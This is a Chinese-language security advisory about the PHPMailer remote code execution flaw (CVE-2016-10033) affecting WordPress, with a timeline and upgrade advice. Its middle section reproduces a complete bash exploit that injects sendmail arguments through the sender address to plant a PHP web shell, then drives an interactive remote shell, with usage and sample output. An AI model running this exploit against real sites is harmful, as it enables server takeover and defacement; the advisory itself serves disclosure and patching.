【漏洞预警】广泛使用的邮件组件:PHPMailer存在远程代码执行漏洞

本文原创作者:overXsky

来源:安全客

t01427f123567d52ee2

起因


近日,波兰研究人员 Dawid Golunski 发现了一个存在于PHPMailer中的严重远程代码执行漏洞。该漏洞在昨天的legalhackers.com上公布,但漏洞利用细节的概念验证并未包括在内。

不幸的是在几个小时前,有人向exploit-dbgithub发布了一个概念验证,演示了如何在PHPMailer库中利用此漏洞,但是出于安全考虑并不针对任何一个正在投入使用中的Web应用程序。

我们正在着手准备发布这个原本在计划之外的更新,以便向PHP开发人员和我们的社区提前警告这个问题。因为我们估计随着更多开发人员和心怀不轨的人查看到上面的概念验证代码后会导致这个事件持续酝酿。

PHPMailer是WordPress中用来发送电子邮件的核心部分。 你可以在wp-includes / class-smtp.php核心文件中找到代码。

不要惊慌


注意:无论对于WordPress的核心还是任何WordPress主题或插件, 目前尚没有公开可行的漏洞利用代码。我们看到的唯一漏洞利用是研究人员针对他们自己的应用程序进行了验证,以此表明PHPMailer中存在此漏洞。 (详情如下)

请不要联系WordPress核心团队、WordPress论坛版主或其他任何人,告诉他们“你的WordPress网站将被利用”,这将引起不必要的恐慌。这项研究目前仍在进行中,我们让您提前意识到这个问题主要有两个原因:

1. 从用户的角度来讲,一旦解决方案发布,就可以准备升级WordPress核心和任何其他受影响的主题和插件。

2. 从开发者的角度来讲,如果他采用了这个版本的包含漏洞的PHPMailer,就可以开始着手修补代码,以便尽快发布给用户。

漏洞细节


如果你不熟悉RCE漏洞,那么这将是最糟糕的情况。在WordPress的历史上所有严重的漏洞都是远程代码执行漏洞,它们允许攻击者在受害者网站上执行自己的代码从而控制整个网站。

我们对PHPMailer中受影响的代码进行了简要分析。 为了利用此漏洞,攻击者似乎需要能够控制发件人的电子邮件地址。

PHPMailer中的弱点代码和修复代码的片段如下所示:

t018bb0dcce06c8275d

来源:GitHub

在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。

PHPMailer的Docker复现环境(附POC): https://github.com/opsxcq/exploit-CVE-2016-10033

Exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033
 
echo '[+] CVE-2016-10033 exploit by opsxcq'
 
if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi
 
host=$1
 
echo '[+] Exploiting '$host
 
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'
 
cmd='whoami'
while "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'

To exploit this target just run:

1
./exploit host:port

If you are using this vulnerable image, you can just run:

1
./exploit localhost:8080

After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:

1
2
3
4
5
6
7
8
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> echo 'Defaced' /www/index.php
[+] Running echo 'Defaced' /www/index.php

PHPMailer验证截图

t01467a841fe6b92a56

如何应对


我们会向订阅者和客户发邮件预警。WordPress核心团队目前正在开发一个将包含在WordPress核心安全发布版本中的修复程序。尚没有确切的发布时间,但会尽量在24小时之内。

一旦发布,请尽快将WordPress核心进行升级。

如果在你自己的PHP应用、主题、插件中还在使用早于5.2.18版本的PHPMailer,请立即升级到PHPMailer 5.2.18或更高版本

如果你是WordPress主题或插件开发人员,并且在你的插件或主题代码中包含了早期版本的PHPMailer拷贝,则需要立即更新到PHPMailer 5.2.18或更新版本并向客户发布修订。

漏洞历程时间线


1. 前不久在WordPress核心中发布了一个问题讨论,其中包括了一个修补程序来解决这个问题。它可以将使用PHPMailer 5.2.14的WP核心更新到5.2.19。但这只是一个建议的补丁,并不是官方的最终修复。

2. 你可以在github上找到解决PHPMailer中这个问题的代码变动,它们十分清楚地描述了问题在于被发送到shell命令中的发送方电子邮件地址未转义。

3. 概念漏洞的基本证明也已发布到exploit-db,其链接到在github上的此漏洞利用的更详细的演示。研究人员已经建立了一个包含此漏洞的Web应用程序,然后为自己的应用程序创建了一段利用代码。这显然不是一个真实世界的PoC,但它展示了PHPMailer的弱点,并为真实世界的PoC铺平了道路。

4. 发现这个漏洞的研究员的报告中显示:

“研究人员还为流行的开源应用程序(部署在在互联网上的一百多万台服务器上)开发了一个未经认证的RCE漏洞作为现实世界开发的PoC。它可能在供应商修复漏洞后再发布。

5. 这个问题昨天发布到Hackaday和今天早些时候的The Hacker News

6. 它正在Twitter上广泛讨论。[需要科学上网]

7. 它正在WP Slack #forums#core上被讨论。 [需要登录]

8. Hacker News上也在讨论。

9. 它被发布到Reddit / r / netsec上,那里也在讨论。

10. 我们期望它将在人们进入工作日之后成为主流媒体的焦点。

原文地址:http://bobao.360.cn/learning/detail/3347.html